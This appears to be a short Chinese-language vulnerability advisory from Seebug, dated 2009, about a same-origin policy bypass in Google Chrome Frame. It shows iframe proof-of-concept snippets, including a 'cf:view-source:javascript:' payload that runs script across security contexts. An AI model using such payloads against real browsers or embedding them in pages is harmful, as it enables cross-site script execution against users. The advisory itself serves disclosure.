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Google Chrome帧同源策略绕过漏洞

🗓️ 20 Nov 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 26 Views

Google Chrome帧同源策略绕过漏

Code

                                                建立如下HTML文档并进行测试:
<iframe src="javascript:alert(1)></iframe>
=> 打开iframe并执行警告
(这是正确的)
<iframe src="cf:javascript:alert(1)></iframe> 
上面不能成功执行, 不能限制警告(正确)
但如下情况存在一个缺陷=>
<iframe src="cf:view-source:javascript:alert(1)></iframe>
如上代码可在本地或远程安全上下文或通过地址栏执行,成功绕过跨域保护。

                              

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20 Nov 2009 00:00Current
6.9Medium risk
Vulners AI Score6.9
26